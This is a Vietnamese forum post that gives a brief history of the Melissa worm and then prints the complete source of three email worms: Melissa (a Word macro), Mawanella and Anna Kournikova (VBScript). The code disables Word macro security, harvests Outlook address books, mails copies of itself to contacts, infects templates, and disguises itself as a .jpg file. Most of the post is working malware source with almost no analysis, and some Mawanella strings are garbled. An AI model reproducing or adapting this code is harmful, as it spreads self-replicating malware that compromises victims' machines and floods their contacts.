Code Wornm Melisa

Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down

Code Wornm Melisa

Bài gửi   on Tue Sep 14, 2010 10:52 am

Sâu Melissa rất thành công trong sự nghiệp phá hoại máy tính của mình vì lợi dụng những người dùng "thích sex nhưng không muốn bỏ ra gì cả". Nhiều người hấp tấp download file List.DOC từ một nhóm thảo luận có tên Usenet cũng chỉ vì nghe đồn trong file chứa mã truy cập miễn phí tới hơn 80 trang web khiêu dâm nóng bỏng.

Website chưa thấy đâu nhưng Melissa gần như đánh sập mạng Internet thời điểm đó bằng trò gửi email đồng loạt và liên tục. Nó "ăn" sâu vào phần mềm soạn thảo văn bản MS Word version 97 hoặc 2000, đánh cắp 50 địa chỉ người đầu tiên trong danh bạ của Outlook 97/98 mỗi khi mở văn bản soạn thảo và bắt đầu công cuộc spam tự động. Melissa cũng tự động chèn thông báo từ chương trình TV vào văn bản, xóa các file hệ thống quan trọng của Windows.

Theo ước tính, sâu Melissa đã gây thiệt hại tới 1 tỷ USD. Thủ phạm viết mã độc sâu này là David Smith (bang New Jersey, Mỹ) đã phải "bóc lịch" 20 tháng và nộp 5.000 USD tiền phạt.
Code:
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
  CommandBars("Macro").Controls("Security...").Enabled = False
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") <> "... by Kwyjibo" Then
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
        Next oo
        BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
        BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
        BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
        BreakUmOffASlice.Send
        Peep = ""
    Next y
    DasMapiName.Logoff
  End If
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
  If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  Set ToInfect = ADI1
  ADI1.Name = "Melissa"
  DoAD = True
End If

If NTI1.Name <> "Melissa" Then
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  Set ToInfect = NTI1
  NTI1.Name = "Melissa"
  DoNT = True
End If
   
If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
  Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If
 
If DoAD = True Then
  Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub






MAWANELLA WORM SOURCE CODE
Code:
On Error Resume Next
Rem // I hate Mawanella incident
Set WW_S = CreateObject(W"WWScript.ShellW")
Set fso = CreateObject(W"Scripting.FileSystemObjectW")
set file = fso.OpenTextFile(WWScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr, strMsg
set wscr=CreateObject(W"WWScript.ShellW")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set cFile = fso.GetFile(WWScript.ScriptFullName)
cFile.Copy(dirsystem&W"\Mawanella.vbsW")
Set OutlookA = CreateObject(W"Outlook.ApplicationW")
If OutlookA = W"OutlookW" Then
Set Mapi=OutlookA.GetNameSpace(W"MAPIW")
Set AddLists=Mapi.AddressLists
For Each ListIndex In AddLists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCountX = ListIndex.AddressEntries.Count
For Count= 1 To ContactCountX
Set MailX = OutlookA.CreateItem(0)
Set ContactX = ListIndex.AddressEntries(Count)
'msgbox contactx.address
'Mailx.Recipients.Add(ContactX.Address)
MailX.To = ContactX.Address
MailX.Subject = W"MawanellaW"
MailX.Body = vbcrlf&W"Mawanella is one of the Sri Lanka's Muslim VillageW"&vbcrlf
'Set Attachment=MailX.Attachments
'Attachment.Add dirsystem & W"\Mawanella.vbsW"
'Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW")
Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW")
MailX.DeleteAfterSubmit = True
If MailX.To <> W"W" Then
MailX.Send
End If
Next
End If
Next
Else
msgBox W"Please Forward this to everyoneW"
End if
strMsg= W" ) (W" & vbcrlf
strMsg= strMsg & W"( ) ( ) W" & vbcrlf
strMsg= strMsg & W" ( ) ( )W" & vbcrlf
strMsg= strMsg & W" ( ) ( )W" & vbcrlf
strMsg= strMsg & W" -------------------------W" & vbcrlf
strMsg= strMsg & W" / ( ( ( /\W" & vbcrlf
strMsg= strMsg & W" / ( / \W" & vbcrlf
strMsg= strMsg & W" / ( ( / \W" & vbcrlf
strMsg= strMsg & W" --------------------------------W" & vbcrlf
strMsg= strMsg & W" | --- | |W" & vbcrlf
strMsg= strMsg & W" | ----- | | | |W" & vbcrlf
strMsg= strMsg & W" | | | --- | |W" & vbcrlf
strMsg= strMsg & W" | | | | |W" & vbcrlf
strMsg= strMsg & W" --------------------------------W" & vbcrlf
strMsg= strMsg & W"Mawanella is one of the Sri Lanka's Muslim Village.W" & vbcrlf
strMsg= strMsg & W"This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt.W" &
vbcrlf
strMsg= strMsg & W"I hat this incident, WWhat about you? I can destroy your computerW" & vbcrlf
strMsg= strMsg & W"I didn't do that because I am a peace-loving citizen.W"
msgbox strMsg,,W"MawanellaW"
End sub

ANNA KOURNIKOVA SOURCE CODE
Code:
'Vbs.OnTheFly Created By OnTheFly
On Error Resume Next
Set WScriptShell= CreateObject("WScript.Shell")
WScriptShell.regwrite "HKCU\software\OnTheFly", "Worm made with Vbswg 1.50b"
Set FileSystemObject=Createobject("scripting.filesystemobject")
FileSystemObject.copyfile wscript.scriptfullname,FileSystemObject.GetSpecialFolder(0) &
"\AnnaKournikova.jpg.vbs"
if WScriptShell.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
doMail()
end if
if month(now)=1 and day(now)=26 then
WScriptShell.run "Http://www.dynabyte.nl",3,false
end if
Set thisScript=FileSystemObject.opentextfile(wscript.scriptfullname, 1)
thisScriptText=thisScript.readall
thisScript.Close
Do
If Not (FileSystemObject.fileexists(wscript.scriptfullname)) Then
Set newFile=FileSystemObject.createtextfile(wscript.scriptfullname, True)
newFile.write thisScriptText
newFile.Close
End If
Loop
Function doMail()
On Error Resume Next
Set OutlookApp=CreateObject("Outlook.Application")
If OutlookApp="Outlook" Then
Set MAPINameSpace=OutlookApp.GetNameSpace("MAPI")
Set AddressLists=MAPINameSpace.AddressLists
For Each address In AddressLists
If address.AddressEntries.Count <> 0 Then
entryCount=address.AddressEntries.Count
For i=1 To entryCount
Set newItem=OutlookApp.CreateItem(0)
Set currentAddress=address.AddressEntries(i)
newItem.To=currentAddress.Address
newItem.Subject="Here you have, ;o)"
newItem.Body="Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
set attachments=newItem.Attachments
attachments.Add FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"
newItem.DeleteAfterSubmit=True
If newItem.To <> "" Then
newItem.Send
WScriptShell.regwrite "HKCU\software\OnTheFly\mailed", "1"
End If
Next
End If
Next
end if
End Function
'Vbswg 1.50b

Theo virusvn.com


Join date : 01/01/1970

Xem lý lịch thành viên

Về Đầu Trang Go down

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang

- Similar topics

 
Permissions in this forum:
Bạn không có quyền trả lời bài viết